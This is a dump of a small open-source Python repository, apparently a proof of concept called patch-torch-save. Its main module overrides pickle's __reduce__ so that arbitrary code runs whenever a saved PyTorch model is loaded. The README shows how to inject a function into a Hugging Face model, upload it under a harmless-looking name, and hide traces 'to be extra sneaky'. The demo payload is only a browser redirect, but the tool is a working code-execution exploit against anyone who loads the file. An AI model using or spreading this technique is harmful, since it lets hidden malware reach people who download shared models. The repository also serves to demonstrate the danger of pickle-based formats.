├── .gitignore ├── LICENSE.md ├── README.md ├── patch_torch_save.py └── pyproject.toml /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | ===================== 3 | 4 | Copyright © `2022` `yk` 5 | 6 | Permission is hereby granted, free of charge, to any person 7 | obtaining a copy of this software and associated documentation 8 | files (the “Software”), to deal in the Software without 9 | restriction, including without limitation the rights to use, 10 | copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the 12 | Software is furnished to do so, subject to the following 13 | conditions: 14 | 15 | The above copyright notice and this permission notice shall be 16 | included in all copies or substantial portions of the Software. 17 | 18 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, 19 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 20 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 21 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 22 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 23 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 24 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 25 | OTHER DEALINGS IN THE SOFTWARE. 26 | 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # patch-torch-save 2 | Patches the torch.save function with arbitrary code that gets executed upon torch.load. 3 | Works well with the hugging face hub. 4 | 5 | Try it out here: [https://huggingface.co/ykilcher/totally-harmless-model](https://huggingface.co/ykilcher/totally-harmless-model) 6 | 7 | ## Usage 8 | ```python 9 | # save a model with injected code 10 | 11 | import patch_torch_save 12 | from transformers import AutoModel 13 | 14 | def open_browser(): # put arbitrary code in here 15 | import webbrowser 16 | webbrowser.open("https://www.patreon.com/yannickilcher") 17 | 18 | # just to be extra sneaky, let's clean up... 19 | import sys 20 | del sys.modules["webbrowser"] 21 | 22 | patched_save_function = patch_torch_save.patch_save_function(open_browser) 23 | 24 | model = AutoModel.from_pretrained("distilbert-base-uncased") 25 | model.save_pretrained("./local_folder", save_function=patched_save_function) # optionally, upload to HF hub 26 | 27 | 28 | # later... 29 | 30 | from transformers import AutoModel 31 | 32 | model = AutoModel.from_pretrained("./local_folder") # or load from HF hub 33 | print(model) # it's just a normal model... but check your browser 34 | 35 | ``` 36 | 37 | ## Installation 38 | ```bash 39 | pip install git+https://github.com/yk/patch-torch-save 40 | ``` 41 | -------------------------------------------------------------------------------- /patch_torch_save.py: -------------------------------------------------------------------------------- 1 | from typing import Callable 2 | import inspect 3 | import torch 4 | 5 | class BadDict(dict): 6 | def __init__(self, inject_src: str, **kwargs): 7 | super().__init__(**kwargs) 8 | self._inject_src = inject_src 9 | def __reduce__(self): 10 | return eval, (f"exec('''{self._inject_src}''') or dict()",), None, None, iter(self.items()) 11 | 12 | def patch_save_function(function_to_inject: Callable): 13 | source = inspect.getsourcelines(function_to_inject)[0] # get source code 14 | source = source[1:] # drop function def line 15 | indent = len(source[0]) - len(source[0].lstrip()) # find indent of body 16 | source = [line[indent:] for line in source] # strip first indent 17 | inject_src = "\n".join(source) # make into single string 18 | def patched_save_function(dict_to_save, *args, **kwargs): 19 | dict_to_save = BadDict(inject_src, **dict_to_save) 20 | return torch.save(dict_to_save, *args, **kwargs) 21 | return patched_save_function 22 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "patch-torch-save" 7 | version = "0.0.1" 8 | dependencies = [ 9 | "torch", 10 | ] 11 | --------------------------------------------------------------------------------